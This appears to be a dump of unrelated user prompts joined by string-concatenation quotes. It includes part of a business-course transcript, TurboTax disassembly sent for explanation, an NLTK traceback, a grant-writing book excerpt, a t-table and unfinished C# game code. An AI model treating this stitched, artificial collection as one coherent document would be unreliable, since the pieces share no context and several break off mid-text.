no work for the money to go from here down to here i don't know for sure i've made some estimates my estimate is about two to three years so it would go down every month for two to three years and finally it would level out of this much lower figure but for\n(07:31) the next two or three years i could rely on some residual income so my best guesstimate based on my what i have and the numbers i've got in my business and things like that and my business experience is that this would be 70 residual it's not a hundred percent it's about 70 percent which is good that's good and it's a good deal of money so it's okay but i can't rely on this for the rest of my life if i choose not to work i still have to be in front of my customers in front of my audience\n(07:57) on a regular basis doing blog posts publishing new products um being available to check email respond email questions things i have to kind of be around now you could argue i have to be around as much as i am that's true but again i'm trying to scale my business like i talked about last time okay so it's 70 residual not bad pretty good pretty good as compared to zero percent now again the question why wouldn't you do that over that because unlike this business this took a longer time to get to the money as i talked about i didn't\n(08:25) market this business at all in terms of spending money i did it i did it all based on blog posts and forum posts and things like that so it took me a year or two to get to the income point that i wanted where i was happy whereas this i made money really fast so that's a general mathematical formula you can rely upon the more residual a business is the longer it will tend to be to get to the income okay whereas the faster you get the income the less residual it tends to be there are a lot of exceptions that rule but that's\n(08:54) generally an accurate rule okay and this is a perfect example of this it took longer to get to the money here but a lot more residual it was very fast to get the money here not residual at all cool cool okay so the third business ccm this is very special this is my special business so ccm is where and i will go into detail about this in a future lesson don't worry ccm is where i market to the dead accounts of a given computer consulting company and then for two years i get 50 of the gross income of any business they receive off that\n(09:28) marketing so i work for about six weeks in terms of direct mail telemarketing things like that i do a big marketing blitz and then i sit back and i get a big check every month for two years i'm gonna go into detail about that if you're freaking out don't worry don't worry we'll get to it now the other beauty of this is that that work involved 95 of that work is outsourced i only do five percent of that work i only have to do a few things to make sure that business operates everything else is outsourced to other humans so i\n(09:56) do very little work and once i do the work i have to do zero work for the next two years to retain that income and to get new clients also takes very little work so this business is 95 residual 95 or close to it maybe you could argue 90 but damn near 95 if not more is residual i only have to do about five percent of work in that business to get to the money pretty awesome and again the question well why wouldn't i do this because it takes time to ramp up that kind of business because i have to develop marketing systems that\n(10:30) i know for a fact work and i'll go into more detail as we talk about this business so as you can see and i didn't do this on purpose i just did this by accident i have a pretty good spread i'm pretty diversified i have a high income low residual business i have a high income high residual business and i have a ridiculously residual business i have all three i've covered all the bases it's very likely in the next year two two three years i may even stop doing this and focus on these two which will\n(10:56) drop down to two companies but that's fine two is okay because these are so attractive with their residual models which means i resi relied on this income for a while until i hit these two which is fine and you may decide to do that maybe over time once you have three companies or four companies or two companies you may decide that one isn't really working for you anymore you delete that one you focus on either two or other three that's fine so again as you're designing your business which we're going to talk about in the next\n(11:19) section as you're designing your business from the ground up you want to give some thought to how much residual factor do you want to have for your income sources very important in terms of long-term goals in your life okay does that make sense it makes sense pretty cool okay that wraps it up for this section next section we're going to talk about how to actually start your business i'm going to go through all that stuff in detail i'll see you in a minute bye" +'That was very good! How about this one:\n\nTurboTax 2020`-[ExperimentServiceController getLocalExperimentSettings]:\n-> 0x10a0977b0 <+0>: pushq %rbp\n 0x10a0977b1 <+1>: movq %rsp, %rbp\n 0x10a0977b4 <+4>: subq $0x40, %rsp\n 0x10a0977b8 <+8>: movq %rdi, -0x8(%rbp)\n 0x10a0977bc <+12>: movq %rsi, -0x10(%rbp)\n 0x10a0977c0 <+16>: movq $0x0, -0x18(%rbp)\n 0x10a0977c8 <+24>: movq -0x8(%rbp), %rax\n 0x10a0977cc <+28>: movq 0x1bf4b65(%rip), %rsi ; "getExperimentSettingsFilePath"\n 0x10a0977d3 <+35>: movq %rax, %rdi\n 0x10a0977d6 <+38>: callq \\*0x1a9c4a4(%rip) ; (void \\*)0x00007fff204dd800: objc\\_msgSend\n 0x10a0977dc <+44>: movq %rax, %rdi\n 0x10a0977df <+47>: callq 0x10b45e656 ; symbol stub for: objc\\_retainAutoreleasedReturnValue\n 0x10a0977e4 <+52>: movq %rax, -0x20(%rbp)\n 0x10a0977e8 <+56>: movq 0x1bf9ad1(%rip), %rax ; (void \\*)0x00007fff803aff48: NSFileManager\n 0x10a0977ef <+63>: movq 0x1beb142(%rip), %rsi ; "defaultManager"\n 0x10a0977f6 <+70>: movq %rax, %rdi\n 0x10a0977f9 <+73>: callq \\*0x1a9c481(%rip) ; (void \\*)0x00007fff204dd800: objc\\_msgSend\n 0x10a0977ff <+79>: movq %rax, %rdi\n 0x10a097802 <+82>: callq 0x10b45e656 ; symbol stub for: objc\\_retainAutoreleasedReturnValue\n 0x10a097807 <+87>: movq %rax, -0x28(%rbp)\n 0x10a09780b <+91>: movq -0x28(%rbp), %rax\n 0x10a09780f <+95>: movq -0x20(%rbp), %rdx\n 0x10a097813 <+99>: movq 0x1beb25e(%rip), %rsi ; "fileExistsAtPath:"\n 0x10a09781a <+106>: movq %rax, %rdi\n 0x10a09781d <+109>: callq \\*0x1a9c45d(%rip) ; (void \\*)0x00007fff204dd800: objc\\_msgSend\n 0x10a097823 <+115>: cmpb $0x0, %al\n 0x10a097825 <+117>: je 0x10a09789e ; <+238>\n 0x10a09782b <+123>: movq -0x28(%rbp), %rax\n 0x10a09782f <+127>: movq -0x20(%rbp), %rdx\n 0x10a097833 <+131>: movq 0x1bec3b6(%rip), %rsi ; "contentsAtPath:"\n 0x10a09783a <+138>: movq %rax, %rdi\n 0x10a09783d <+141>: callq \\*0x1a9c43d(%rip) ; (void \\*)0x00007fff204dd800: objc\\_msgSend\n 0x10a097843 <+147>: movq %rax, %rdi\n 0x10a097846 <+150>: callq 0x10b45e656 ; symbol stub for: objc\\_retainAutoreleasedReturnValue\n 0x10a09784b <+155>: movq %rax, -0x30(%rbp)\n 0x10a09784f <+159>: cmpq $0x0, -0x30(%rbp)\n 0x10a097854 <+164>: je 0x10a09788e ; <+222>\n 0x10a09785a <+170>: movq 0x1bfa867(%rip), %rax ; (void \\*)0x000000010bc9f538: ExperimentSettings\n 0x10a097861 <+177>: movq %rax, %rdi\n 0x10a097864 <+180>: callq 0x10b45e5c0 ; symbol stub for: objc\\_alloc\n 0x10a097869 <+185>: movq -0x30(%rbp), %rdx\n 0x10a09786d <+189>: movq 0x1bf4adc(%rip), %rsi ; "initWithJson:"\n 0x10a097874 <+196>: movq %rax, %rdi\n 0x10a097877 <+199>: callq \\*0x1a9c403(%rip) ; (void \\*)0x00007fff204dd800: objc\\_msgSend\n 0x10a09787d <+205>: movq -0x18(%rbp), %rcx\n 0x10a097881 <+209>: movq %rax, -0x18(%rbp)\n 0x10a097885 <+213>: movq %rcx, %rdi\n 0x10a097888 <+216>: callq \\*0x1a9c41a(%rip) ; (void \\*)0x00007fff204df490: objc\\_release\n 0x10a09788e <+222>: xorl %eax, %eax\n 0x10a097890 <+224>: movl %eax, %esi\n 0x10a097892 <+226>: leaq -0x30(%rbp), %rcx\n 0x10a097896 <+230>: movq %rcx, %rdi\n 0x10a097899 <+233>: callq 0x10b45e686 ; symbol stub for: objc\\_storeStrong\n 0x10a09789e <+238>: movq -0x18(%rbp), %rdi\n 0x10a0978a2 <+242>: movq 0x1a9c407(%rip), %rax ; (void \\*)0x00007fff204dd690: objc\\_retain\n 0x10a0978a9 <+249>: callq \\*%rax\n 0x10a0978ab <+251>: xorl %ecx, %ecx\n 0x10a0978ad <+253>: movl %ecx, %edx\n 0x10a0978af <+255>: leaq -0x28(%rbp), %rdi\n 0x10a0978b3 <+259>: movq %rdx, %rsi\n 0x10a0978b6 <+262>: movq %rax, -0x38(%rbp)\n 0x10a0978ba <+266>: movq %rdx, -0x40(%rbp)\n 0x10a0978be <+270>: callq 0x10b45e686 ; symbol stub for: objc\\_storeStrong\n 0x10a0978c3 <+275>: leaq -0x20(%rbp), %rdi\n 0x10a0978c7 <+279>: movq -0x40(%rbp), %rsi\n 0x10a0978cb <+283>: callq 0x10b45e686 ; symbol stub for: objc\\_storeStrong\n 0x10a0978d0 <+288>: leaq -0x18(%rbp), %rdi\n 0x10a0978d4 <+292>: movq -0x40(%rbp), %rsi\n 0x10a0978d8 <+296>: callq 0x10b45e686 ; symbol stub for: objc\\_storeStrong\n 0x10a0978dd <+301>: movq -0x38(%rbp), %rax\n 0x10a0978e1 <+305>: movq %rax, %rdi\n 0x10a0978e4 <+308>: addq $0x40, %rsp\n 0x10a0978e8 <+312>: popq %rbp\n 0x10a0978e9 <+313>: jmp 0x10b45e5de ; symbol stub for: objc\\_autoreleaseReturnValue\n 0x10a0978ee <+318>: nop' +'---------------------------------------------------------------------------\nLookupError Traceback (most recent call last)\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 83 try:\n---> 84 root = nltk.data.find(f"{self.subdir}/{zip\\_name}")\n 85 except LookupError:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\data.py in find(resource\\_name, paths)\n 582 resource\\_not\\_found = f"\\n{sep}\\n{msg}\\n{sep}\\n"\n--> 583 raise LookupError(resource\\_not\\_found)\n 584 \n\nLookupError: \n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n Resource omw-1.4 not found.\n Please use the NLTK Downloader to obtain the resource:\n\n >>> import nltk\n >>> nltk.download(\'omw-1.4\')\n \n For more information see: https://www.nltk.org/data.html\n\n Attempted to load corpora/omw-1.4.zip/omw-1.4/\n\n Searched in:\n - \'C:\\\\Users\\\\rockr/nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\share\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\lib\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\AppData\\\\Roaming\\\\nltk\\_data\'\n - \'C:\\\\nltk\\_data\'\n - \'D:\\\\nltk\\_data\'\n - \'E:\\\\nltk\\_data\'\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nDuring handling of the above exception, another exception occurred:\n\nLookupError Traceback (most recent call last)\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\3827873343.py in \n 41 \n 42 # Preprocess train and test text data\n---> 43 train\\_df[\'text\'] = train\\_df[\'text\'].apply(preprocess\\_text)\n 44 test\\_df[\'text\'] = test\\_df[\'text\'].apply(preprocess\\_text)\n 45 \n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\series.py in apply(self, func, convert\\_dtype, args, \\*\\*kwargs)\n 4431 dtype: float64\n 4432 """\n-> 4433 return SeriesApply(self, func, convert\\_dtype, args, kwargs).apply()\n 4434 \n 4435 def \\_reduce(\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\apply.py in apply(self)\n 1086 return self.apply\\_str()\n 1087 \n-> 1088 return self.apply\\_standard()\n 1089 \n 1090 def agg(self):\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\core\\apply.py in apply\\_standard(self)\n 1141 # List[Union[Callable[..., Any], str]]]]]"; expected\n 1142 # "Callable[[Any], Any]"\n-> 1143 mapped = lib.map\\_infer(\n 1144 values,\n 1145 f, # type: ignore[arg-type]\n\n~\\Anaconda3\\lib\\site-packages\\pandas\\\\_libs\\lib.pyx in pandas.\\_libs.lib.map\\_infer()\n\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\3827873343.py in preprocess\\_text(text)\n 35 # Lemmatize\n 36 lemmatizer = WordNetLemmatizer()\n---> 37 tokens = [lemmatizer.lemmatize(token) for token in tokens]\n 38 # Join tokens back into a string\n 39 text = \' \'.join(tokens)\n\n~\\AppData\\Local\\Temp\\ipykernel\\_9724\\3827873343.py in (.0)\n 35 # Lemmatize\n 36 lemmatizer = WordNetLemmatizer()\n---> 37 tokens = [lemmatizer.lemmatize(token) for token in tokens]\n 38 # Join tokens back into a string\n 39 text = \' \'.join(tokens)\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\stem\\wordnet.py in lemmatize(self, word, pos)\n 43 :return: The lemma of `word`, for the given `pos`.\n 44 """\n---> 45 lemmas = wn.\\_morphy(word, pos)\n 46 return min(lemmas, key=len) if lemmas else word\n 47 \n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_getattr\\_\\_(self, attr)\n 119 raise AttributeError("LazyCorpusLoader object has no attribute \'\\_\\_bases\\_\\_\'")\n 120 \n--> 121 self.\\_\\_load()\n 122 # This looks circular, but its not, since \\_\\_load() changes our\n 123 # \\_\\_class\\_\\_ to something new:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 87 \n 88 # Load the corpus.\n---> 89 corpus = self.\\_\\_reader\\_cls(root, \\*self.\\_\\_args, \\*\\*self.\\_\\_kwargs)\n 90 \n 91 # This is where the magic happens! Transform ourselves into\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\reader\\wordnet.py in \\_\\_init\\_\\_(self, root, omw\\_reader)\n 1174 )\n 1175 else:\n-> 1176 self.provenances = self.omw\\_prov()\n 1177 \n 1178 # A cache to store the wordnet data of multiple languages\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\reader\\wordnet.py in omw\\_prov(self)\n 1283 provdict = {}\n 1284 provdict["eng"] = ""\n-> 1285 fileids = self.\\_omw\\_reader.fileids()\n 1286 for fileid in fileids:\n 1287 prov, langfile = os.path.split(fileid)\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_getattr\\_\\_(self, attr)\n 119 raise AttributeError("LazyCorpusLoader object has no attribute \'\\_\\_bases\\_\\_\'")\n 120 \n--> 121 self.\\_\\_load()\n 122 # This looks circular, but its not, since \\_\\_load() changes our\n 123 # \\_\\_class\\_\\_ to something new:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 84 root = nltk.data.find(f"{self.subdir}/{zip\\_name}")\n 85 except LookupError:\n---> 86 raise e\n 87 \n 88 # Load the corpus.\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\corpus\\util.py in \\_\\_load(self)\n 79 else:\n 80 try:\n---> 81 root = nltk.data.find(f"{self.subdir}/{self.\\_\\_name}")\n 82 except LookupError as e:\n 83 try:\n\n~\\Anaconda3\\lib\\site-packages\\nltk\\data.py in find(resource\\_name, paths)\n 581 sep = "\\*" \\* 70\n 582 resource\\_not\\_found = f"\\n{sep}\\n{msg}\\n{sep}\\n"\n--> 583 raise LookupError(resource\\_not\\_found)\n 584 \n 585 \n\nLookupError: \n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\n Resource omw-1.4 not found.\n Please use the NLTK Downloader to obtain the resource:\n\n >>> import nltk\n >>> nltk.download(\'omw-1.4\')\n \n For more information see: https://www.nltk.org/data.html\n\n Attempted to load corpora/omw-1.4\n\n Searched in:\n - \'C:\\\\Users\\\\rockr/nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\share\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\Anaconda3\\\\lib\\\\nltk\\_data\'\n - \'C:\\\\Users\\\\rockr\\\\AppData\\\\Roaming\\\\nltk\\_data\'\n - \'C:\\\\nltk\\_data\'\n - \'D:\\\\nltk\\_data\'\n - \'E:\\\\nltk\\_data\'\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\nplease fix this error' +'From the book \'Golden Grant Rules\' by David Kincade:\nWHO WINS GRANTS\n23. Most grants go to established businesses\nMost organizations that win grants have at least two years of financial records. If you\'re a startup business, few grants exist. Here they are:\nhttps://albertabusinessgrants.ca/start-up/\nGrant agencies are risk-averse and usually feel comfortable with pre-existing success. However, if you are doing something innovative, you are on the right track with grants.\nGovernments tend to fund incubators and organizations that help startup businesses if you are in the pre-revenue world.\nHere\'s a general rule to follow in any dealing with grant agency staff: "be perceived as low risk."\n24. How younger organizations can win\nIf your organization is relatively new, you can still win grants - especially if the grant aligns with the government\'s mandate!\nIn 2015, my sister founded a non-profit organization called "Elevate Aviation." Elevate\'s mission is to help women get careers in the aviation industry, which is grossly under- represented by women in commercial piloting, air traffic controller, and aviation C- suites.\nWhen Prime Minister Trudeau got elected, he was on a mission to increase the number of women in cabinet and corporations\' board rooms across the country. He created a grant to implement this mission.\n21\nHere is a quote from the press release that announced the grant winners in Alberta:\n"Minister Monsef was joined by representatives from Elevate Aviation [...] and the Association of Professional Engineers and Geoscientists of Alberta (APEGA), which are receiving funding under this call for proposals. Elevate Aviation has been awarded $426,410 for a national project that aims to improve women\'s economic security through access to careers in the aviation industry in Canada. [...] APEGA has been awarded $350,000 for a project to increase women\'s participation in science, technology, engineering, and math (STEM) fields."\nAPEGA was created in 1920 and is the largest association of self-regulated professionals in Western Canada!\nHow could a non-profit founded just a few years before (without even a full-time employee at the time of applying) win more than APEGA and many other legitimate organizations who did not win anything? She followed the golden rules in this book— older isn\'t necessarily better! Impact and government alignment matter the most!\nGrant Tip:\nElected officials are responsible for distributing the cash to businesses that they deem as the "public interest." Increase your understanding of government in the "Understanding Government" section.\n25. Better to be growing than flat\nGovernments love to help growing companies scale. If your company is burgeoning, they can help you scale appropriately with export or employee grants.\nConversely, if your company has not grown in three years, what is your story to the government?\nGrant Stories\n22\n\nI had one client who desperately needed new packaging to grow his business, and he had the support letters from retailers to back him up. That story is excellent: "give us money, and we can grow, pay more taxes and create jobs."\nAnother company had been around 30 years and had flat line growth for the past three years. The original owner was still with the company. Writing that grant is tough.\nIn my experience, grant agencies love to pick winners. Winners are less likely to lose money and more likely to create jobs. Financial results are compelling in grants.\nOne note of caution. One of my most successful companies had built up cash, and the grant agency asked, "why do you even need the money.?" You need to prepare for that answer. Who would have thought having "too much cash would be bad for your business?" Welcome to grants!\n26. Three great traits for winning grants\nThe top 3 traits to secure a grant are credibility, relationships, and a completed application.\nIf you are not credible, the grant agency is not going to give you taxpayer money.\nIf the grant agency does not know you, will its staff feel comfortable investing in you? "We know or have heard of 60%-70% of applicants that win. The number one place we meet them is at events," said a grant agency staffer to me.\nIf you fail to complete your entire application, your application goes into the "no" pile. Make sure you pay attention to the grant details.\nGrant story\nRemember that some grant agencies fill out evaluation forms on your individual potential. The documents are shared with their team members to determine if you\n23\n\nshould win a grant. Taxpayers expect the government to be good stewards of their money.\n24\n\nGRANT MYTHS\n27. Myth buster: startup grants\nContrary to what you have probably heard, you will find few grants for startup companies. And it shouldn\'t come as a surprise.\nGovernments are risk-averse; they are reluctant to give money to startup businesses. Everyone knows that most businesses start and fail within a couple of years.\nGrant Story\nOne of Alberta\'s best programs (check your province or state for similar programs) is called the Self Employment Program. If you are unemployed, you can take this program to develop a business plan and get coaching. Best of all, you can earn business income and not get your benefits clawed back.\nIf your jurisdiction does not have this program, you should lobby your elected official to get a program set up. The Self Employment Program is incredible!\n28. Myth buster: grants for women\nContrary to what you might have heard, you will find few grants for female entrepreneurs.\nCanada recently had a program called the Women Entrepreneurship Fund for $100,000. It was the first significant grant program designed for that purpose.\nOn the other hand, you will find more grants for non-profit organizations that support women\'s initiatives.\n25\n\nAs you hopefully learn in the government section, government grant support for female programs is strongly related to the type of government in power.\nThe more left-wing the government in power is the higher support for affirmative action programs you will find. Conversely, the more right-wing government in power is, the less likely you will see grant funding for specific groups of society.\n29. Myth Buster: Grant for brick and mortar businesses\nMany people think when they open a "local business," they are eligible for grants. The reality is that few grants exist for traditional "brick and mortar" businesses.\nTypically, you can only find grants for accessibility renovation (i.e., The Enabling Accessibility Fund grant in Canada), summer students, or training grants for your staff.\nThe other common grants for local businesses are called "Facade Improvement Programs." Companies who are cleaning up their "storefronts" are eligible to get funding from local municipalities.\n30. How consultants can leverage grants\nConsulting is the absolute worst industry for being a grant recipient.\nThe worst.\nHowever, consultants play a significant role in grant eligible expenses.\nAn eligible expense is an expenditure the government will reimburse a business, usually 50% or 75%.\nIf a consultant can identify who is winning the grant, it can contact the business about "doing the work." This work is the "eligible expense." For example, if a\n26\n\ntechnology company wins a grant for export research, the technology company can hire a market research consultant.\nThe thousand-dollar question becomes: who won the grants? If you can find out who won the grant, everyone can benefit.\nRemember grants are won "before" they spend the money, so if you could find out quickly, you could call the company and say, "Congratulations. How can I be of service?"\nLuckily, governments disclose grant recipients online—search Open Government for grants recipients.\nHere is Canada\'s list:\no https://search.open.canada.ca/en/gc/ Alberta\'s list:\no https://www.alberta.ca/grant-payments-disclosure-table.aspx Ask your local legislature library for similar lists in your jurisdiction.\n27\n\nFINDING GRANTS\n31. The order of grant is critical - find the #1 grant\nYou need to find your number one grant first. Take your time at this stage because if you get this step wrong, you will lose.\nThe best way to determine if you found the best grant is to speak to someone at the grant agency BEFORE you write.\nHere are the questions again, so you ensure grant alignment:\nAm I eligible?\nWhen is the deadline?\nHow competitive is the program? Are funds still available this year? Are you still accepting applications? Do you have any advice?\nNow you\'re ready to write the application.\n32. Understanding TRL\nThe Technology Readiness Scale is a 1 to 9 universal measure explaining where your technology fits on the pre-commercial scale.\nIn simple terms, once the idea enters your head, you are at Level 1. Once you are selling the product, you have just completed Level 9.\nFrom the Field:\n28\n\nIf you do not know your TRL level, you may have a grant advisor push you "down" the TRL scale when really you are getting close to commercialization. That means way less bucks for you. Way less.\nAt a recent conference, a grant agency staffer told me that people have often lost grants because they are "not the right" TRL.\nHere is the Government of Canada\'s TRL Definition:\nLevel 1: Basic principles of concept are observed and reported Level 2: Technology concept and/or application formulated\nLevel 3: Analytical and experimental critical function and/or proof of concept Level 4: Component and/or validation in a laboratory environment\nLevel 5: Component and/or validation in a simulated environment\nLevel 6: System/subsystem model or prototype demonstration in a simulated environment\nLevel 7: Prototype ready for demonstration in an appropriate operational environment Level 8: Actual technology completed and qualified through tests and demonstrations Level 9: Actual technology proven through successful deployment in an operational setting\n33. Grants exist along the entire journey\nKeep this in mind while developing your technology: grant money exists along the entire pre-commercial journey.\nYou can get grants for a business plan, market research, lab testing, prototype making, and pilot testing.\nOnce the product is commercial, you can get grants to hire employees, researchers, and exporting.\n29\n\n34. The big grants are for pre-commercial activities\nWhen it comes to creating new products, the government invests its most significant grants in late-stage pre-commercial activities.\nThis reality means that you need to consider grants early in your project phase. Many entrepreneurs and inventors are too late when it comes to considering grants.\n35. Understand "delivery organizations"\nIn Canada, the federal government launched a program called the "Digital Skills for Youth Program."\nThe deadline was October 1.\nHowever, the deadline was for "delivery organizations," such as universities and non- profit organizations\nOnce those "delivery organizations" received the money, "for-profit" companies could apply to the delivery organizations for the funds.\n36. Grant calls with short windows\nYou have to be ready for grant calls with short windows.\nGovernments often announce grant competitions and give you 4 to 6 weeks to apply.\nThink about that. You need to run your business and now apply for a large grant competition. You need to prepare in advance—even before you know when the grant will be announced (i.e., if you are a Tier A grant company. See rule 4).\nMake sure your financial pro forma is updated (e.g., five-year forecast). Many other documents can be prepared in advance of any grant call: team leadership biographies,\n30\n\nproduct and service, descriptions, competitive analysis, history of the company, export plan, strategic direction, and market opportunity.\nEven updating these documents once they are draft is much easier than starting from scratch.' +'t Table\ncum. prob t .50 t .75 t .80 t .85 t .90 t .95 t .975 t .99 t .995 t .999 t .9995\none-tail 0.50 0.25 0.20 0.15 0.10 0.05 0.025 0.01 0.005 0.001 0.0005\ntwo-tails 1.00 0.50 0.40 0.30 0.20 0.10 0.05 0.02 0.01 0.002 0.001\ndf\n1 0.000 1.000 1.376 1.963 3.078 6.314 12.71 31.82 63.66 318.31 636.62\n2 0.000 0.816 1.061 1.386 1.886 2.920 4.303 6.965 9.925 22.327 31.599\n3 0.000 0.765 0.978 1.250 1.638 2.353 3.182 4.541 5.841 10.215 12.924\n4 0.000 0.741 0.941 1.190 1.533 2.132 2.776 3.747 4.604 7.173 8.610\n5 0.000 0.727 0.920 1.156 1.476 2.015 2.571 3.365 4.032 5.893 6.869\n6 0.000 0.718 0.906 1.134 1.440 1.943 2.447 3.143 3.707 5.208 5.959\n7 0.000 0.711 0.896 1.119 1.415 1.895 2.365 2.998 3.499 4.785 5.408\n8 0.000 0.706 0.889 1.108 1.397 1.860 2.306 2.896 3.355 4.501 5.041\n9 0.000 0.703 0.883 1.100 1.383 1.833 2.262 2.821 3.250 4.297 4.781\n10 0.000 0.700 0.879 1.093 1.372 1.812 2.228 2.764 3.169 4.144 4.587\n11 0.000 0.697 0.876 1.088 1.363 1.796 2.201 2.718 3.106 4.025 4.437\n12 0.000 0.695 0.873 1.083 1.356 1.782 2.179 2.681 3.055 3.930 4.318\n13 0.000 0.694 0.870 1.079 1.350 1.771 2.160 2.650 3.012 3.852 4.221\n14 0.000 0.692 0.868 1.076 1.345 1.761 2.145 2.624 2.977 3.787 4.140\n15 0.000 0.691 0.866 1.074 1.341 1.753 2.131 2.602 2.947 3.733 4.073\n16 0.000 0.690 0.865 1.071 1.337 1.746 2.120 2.583 2.921 3.686 4.015\n17 0.000 0.689 0.863 1.069 1.333 1.740 2.110 2.567 2.898 3.646 3.965\n18 0.000 0.688 0.862 1.067 1.330 1.734 2.101 2.552 2.878 3.610 3.922\n19 0.000 0.688 0.861 1.066 1.328 1.729 2.093 2.539 2.861 3.579 3.883\n20 0.000 0.687 0.860 1.064 1.325 1.725 2.086 2.528 2.845 3.552 3.850\n21 0.000 0.686 0.859 1.063 1.323 1.721 2.080 2.518 2.831 3.527 3.819\n22 0.000 0.686 0.858 1.061 1.321 1.717 2.074 2.508 2.819 3.505 3.792\n23 0.000 0.685 0.858 1.060 1.319 1.714 2.069 2.500 2.807 3.485 3.768\n24 0.000 0.685 0.857 1.059 1.318 1.711 2.064 2.492 2.797 3.467 3.745\n25 0.000 0.684 0.856 1.058 1.316 1.708 2.060 2.485 2.787 3.450 3.725\n26 0.000 0.684 0.856 1.058 1.315 1.706 2.056 2.479 2.779 3.435 3.707\n27 0.000 0.684 0.855 1.057 1.314 1.703 2.052 2.473 2.771 3.421 3.690\n28 0.000 0.683 0.855 1.056 1.313 1.701 2.048 2.467 2.763 3.408 3.674\n29 0.000 0.683 0.854 1.055 1.311 1.699 2.045 2.462 2.756 3.396 3.659\n30 0.000 0.683 0.854 1.055 1.310 1.697 2.042 2.457 2.750 3.385 3.646\n40 0.000 0.681 0.851 1.050 1.303 1.684 2.021 2.423 2.704 3.307 3.551\n60 0.000 0.679 0.848 1.045 1.296 1.671 2.000 2.390 2.660 3.232 3.460\n80 0.000 0.678 0.846 1.043 1.292 1.664 1.990 2.374 2.639 3.195 3.416\n100 0.000 0.677 0.845 1.042 1.290 1.660 1.984 2.364 2.626 3.174 3.390\n1000 0.000 0.675 0.842 1.037 1.282 1.646 1.962 2.330 2.581 3.098 3.300\nz 0.000 0.674 0.842 1.036 1.282 1.645 1.960 2.326 2.576 3.090 3.291\n0% 50% 60% 70% 80% 90% 95% 98% 99% 99.8% 99.9%\nConfidence Level' +'using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\nusing Love;\n\nnamespace LoveCSharp\n{\n class Program : Scene\n {\n public Player player1;\n public static float deltaTime;\n static void Main(string[] args)\n {\n Boot.Init();\n Boot.Run(new Program());\n }\n public override void Load()\n {\n World.Generate(20,20);\n player1 = new Player(5, 5);\n\n // Love.Mouse.SetVisible(false);\n // Love.Mouse.SetGrabbed(true);\n Love.Mouse.SetRelativeMode(true);\n \n }\n public override void Draw()\n {\n World.Draw();\n player1.Draw();\n Ray.Draw(player1.x, player1.y, Ray.distance, player1.angle, player1.fov);\n \n }\n public override void Update(float dt)\n {\n deltaTime = dt;\n player1.Update(dt);\n Ray.Update(player1.x, player1.y, player1.angle, player1.fov);\n if (Love.Keyboard.IsDown(KeyConstant.Escape))\n {\n Love.Event.Quit();\n }\n }\n public override void MouseMoved(float x, float y, float dx, float dy, bool istouch)\n {\n player1.Rotation(dx);\n }\n }\n public enum TileType\n {\n None,\n Block,\n }\n public class World\n {\n public static int width;\n public static int height;\n public static int scale = 10;\n public static TileType[,] tiles;\n public static void Generate(int width = 20, int height = 20)\n {\n World.width = width;\n World.height = height;\n\n TileType[,] tiles = new TileType[width, height];\n\n for (int x = 0; x < width; x++)\n {\n for (int y = 0; y < height; y++)\n {\n tiles[x, y] = TileType.Block;\n }\n }\n for (int x = 0; x < width; x++)\n {\n \n for (int y = 0; y < height; y++)\n {\n if ((x > 0 && x < width - 1) && (y > 0 && y < height - 1))\n {\n tiles[x, y] = TileType.None;\n }\n }\n }\n // Generate a random number of TileType blocks in the world (tiles)\n Random random = new Random();\n int blockCount = random.Next(10, 20);\n for (int i = 0; i < blockCount; i++)\n {\n int x 